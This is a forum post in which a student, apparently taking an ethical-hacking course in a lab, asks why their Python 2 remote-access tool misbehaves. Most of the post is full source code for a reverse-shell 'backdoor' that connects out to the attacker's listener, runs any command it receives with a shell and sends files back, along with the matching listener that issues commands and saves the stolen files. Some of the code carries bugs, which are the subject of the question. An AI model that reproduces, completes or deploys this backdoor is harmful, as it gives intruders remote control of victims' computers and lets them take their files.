Yes sir 🙂

This is the backdoor code running on my windows 10 machine.

#!/usr/bin/env python

import socket 
import subprocess
import json
import os

class Backdoor:
	def __init__(self, ip, port):
		self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.connection.connect((ip, port))

	def reliable_send(self, data):
		json_data = json.dumps(data)
		self.connection.send(json_data)

	def reliable_receive(self):
		json_data = ""
		while True:
			try:
			    json_data = self.connection.recv(1024)
		            return json.loads(json_data)
			except ValueError:
			    continue		
	
	def execute_system_command(self, command):
		return subprocess.check_output(command, shell=True)

	def change_working_directory_to(self, path):
		os.chdir(path)
		return "[+] Changing CD to " + path	
		

	def read_file(self, path):
		with open(path, "rb") as file:
			return file.read()  	

	def run(self):
		while True:
	            command = self.reliable_receive()
		    if command[0] == "exit":
			 self.connection.close()
			 exit()
		    elif command[0] == "cd" and len(command) > 1:
			command_result = self.change_working_directory_to(command[1])
		    elif command[0] == "download":
			command_result = self.read_file(command[1])
		    else:
			command_result = self.execute_system_command(command)
		    self.reliable_send(command_result)
		
my_backdoor = Backdoor("10.0.2.10", 4444)
my_backdoor.run()

When i remove the () from print(result()). All terminal commands are like this:

root@kali:~/PycharmProjects/Malware/Backdoor# python listener.py
[+] Waiting for incoming connections
[+] Got a connection from (‘10.0.2.15’, 49834)
>> dir
<bound method Listener.reliable_receive of <__main__.Listener instance at 0x7f1b331b90f0>>
>>

This is the code 🙂 thank you for helping me out, i am a little bit stuck, cant go any further in the course.

forgot something will add more in a moment

The real strange thing is, that if i write the code like this:

#!/usr/bin/env python

import socket
import json

class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("[+] Waiting for incoming connections")
        self.connection, address = listener.accept()
        print("[+] Got a connection from " + str(address))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(1024)
                print(json.loads(json_data))
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_remotely(self, command):
        self.reliable_send(command)
        if command[0] == "exit":
            self.connection.close()
            exit()

        return self.reliable_receive

    def write_file(self, path, content):
        with open(path, "wb") as file:
            file.write(content)
            return "[+] Download successful."

    def run(self):
        while True:
            command = raw_input(">> ")
            command = command.split(" ")
            result = self.execute_remotely(command)

            if command[0] == "download":
                result = self.write_file(command[1], result())

                print(result())

my_listener = Listener("10.0.2.10", 4444)
my_listener.run()

I end up with this result, when trying to use “download sample.txt”:

>> download sample.txt
TG9yZW0gSXBzdW0gaXMgc2ltcGx5IGR1bW15IHRleHQgb2YgdGhlIHByaW50aW5nIGFuZCB0eXBlc2V0dGluZyBpbmR1c3RyeS4gTG9yZW0gSXBzdW0gaGFzIGJlZW4gdGhlIGluZHVzdHJ5J3Mgc3RhbmRhcmQgZHVtbXkgdGV4dCBldmVyIHNpbmNlIHRoZSAxNTAwcywgd2hlbiBhbiB1bmtub3duIHByaW50ZXIgdG9vayBhIGdhbGxleSBvZiB0eXBlIGFuZCBzY3JhbWJsZWQgaXQgdG8gbWFrZSBhIHR5cGUgc3BlY2ltZW4gYm9vay4gSXQgaGFzIHN1cnZpdmVkIG5vdCBvbmx5IGZpdmUgY2VudHVyaWVzLCBidXQgYWxzbyB0aGUgbGVhcCBpbnRvIGVsZWN0cm9uaWMgdHlwZXNldHRpbmcsIHJlbWFpbmluZyBlc3NlbnRpYWxseSB1bmNoYW5nZWQuIEl0IHdhcyBwb3B1bGFyaXNlZCBpbiB0aGUgMTk2MHMgd2l0aCB0aGUgcmVsZWFzZSBvZiBMZXRyYXNldCBzaGVldHMgY29udGFpbmluZyBMb3JlbSBJcHN1bSBwYXNzYWdlcywgYW5kIG1vcmUgcmVjZW50bHkgd2l0aCBkZXNrdG9wIHB1Ymxpc2hpbmcgc29mdHdhcmUgbGlrZSBBbGR1cyBQYWdlTWFrZXIgaW5jbHVkaW5nIHZlcnNpb25zIG9mIExvcmVtIElwc3VtLg0KDQpXaHkgZG8gd2UgdXNlIGl0Pw0KSXQgaXMgYSBsb25nIGVzdGFibGlzaGVkIGZhY3QgdGhhdCBhIHJlYWRlciB3aWxsIGJlIGRpc3RyYWN0ZWQgYnkgdGhlIHJlYWRhYmxlIGNvbnRlbnQgb2YgYSBwYWdlIHdoZW4gbG9va2luZyBhdCBpdHMgbGF5b3V0LiBUaGUgcG9pbnQgb2YgdXNpbmcgTG9yZW0gSXBzdW0gaXMgdGhhdCBpdCBoYXMgYSBtb3JlLW9yLWxlc3Mgbm9ybWFsIGRpc3RyaWJ1dGlvbiBvZiBsZXR0ZXJzLCBhcyBvcHBvc2VkIHRvIHVzaW5nICdDb250ZW50IGhlcmUsIGNvbnRlbnQgaGVyZScsIG1ha2luZyBpdCBsb29rIGxpa2UgcmVhZGFibGUgRW5nbGlzaC4gTWFueSBkZXNrdG9wIHB1Ymxpc2hpbmcgcGFja2FnZXMgYW5kIHdlYiBwYWdlIGVkaXRvcnMgbm93IHVzZSBMb3JlbSBJcHN1bSBhcyB0aGVpciBkZWZhdWx0IG1vZGVsIHRleHQsIGFuZCBhIHNlYXJjaCBmb3IgJ2xvcmVtIGlwc3VtJyB3aWxsIHVuY292ZXIgbWFueSB3ZWIgc2l0ZXMgc3RpbGwgaW4gdGhlaXIgaW5mYW5jeS4gVmFyaW91cyB2ZXJzaW9ucyBoYXZlIGV2b2x2ZWQgb3ZlciB0aGUgeWVhcnMsIHNvbWV0aW1lcyBieSBhY2NpZGVudCwgc29tZXRpbWVzIG9uIHB1cnBvc2UgKGluamVjdGVkIGh1bW91ciBhbmQgdGhlIGxpa2UpLg0KDQpDb250cmFyeSB0byBwb3B1bGFyIGJlbGllZiwgTG9yZW0gSXBzdW0gaXMgbm90IHNpbXBseSByYW5kb20gdGV4dC4gSXQgaGFzIHJvb3RzIGluIGEgcGllY2Ugb2YgY2xhc3NpY2FsIExhdGluIGxpdGVyYXR1cmUgZnJvbSA0NSBCQywgbWFraW5nIGl0IG92ZXIgMjAwMCB5ZWFycyBvbGQuIFJpY2hhcmQgTWNDbGludG9jaywgYSBMYXRpbiBwcm9mZXNzb3IgYXQgSGFtcGRlbi1TeWRuZXkgQ29sbGVnZSBpbiBWaXJnaW5pYSwgbG9va2VkIHVwIG9uZSBvZiB0aGUgbW9yZSBvYnNjdXJlIExhdGluIHdvcmRzLCBjb25zZWN0ZXR1ciwgZnJvbSBhIExvcmVtIElwc3VtIHBhc3NhZ2UsIGFuZCBnb2luZyB0aHJvdWdoIHRoZSBjaXRlcyBvZiB0aGUgd29yZCBpbiBjbGFzc2ljYWwgbGl0ZXJhdHVyZSwgZGlzY292ZXJlZCB0aGUgdW5kb3VidGFibGUgc291cmNlLiBMb3JlbSBJcHN1bSBjb21lcyBmcm9tIHNlY3Rpb25zIDEuMTAuMzIgYW5kIDEuMTAuMzMgb2YgImRlIEZpbmlidXMgQm9ub3J1bSBldCBNYWxvcnVtIiAoVGhlIEV4dHJlbWVzIG9mIEdvb2QgYW5kIEV2aWwpIGJ5IENpY2Vybywgd3JpdHRlbiBpbiA0NSBCQy4gVGhpcyBib29rIGlzIGEgdHJlYXRpc2Ugb24gdGhlIHRoZW9yeSBvZiBldGhpY3MsIHZlcnkgcG9wdWxhciBkdXJpbmcgdGhlIFJlbmFpc3NhbmNlLiBUaGUgZmlyc3QgbGluZSBvZiBMb3JlbSBJcHN1bSwgIkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0Li4iLCBjb21lcyBmcm9tIGEgbGluZSBpbiBzZWN0aW9uIDEuMTAuMzIuDQo=
Traceback (most recent call last):
File “temp.py”, line 57, in <module>
my_listener.run()
File “temp.py”, line 53, in run
print(result())
TypeError: ‘str’ object is not callable

I am using python 2 🙂 just like Zaid in the course.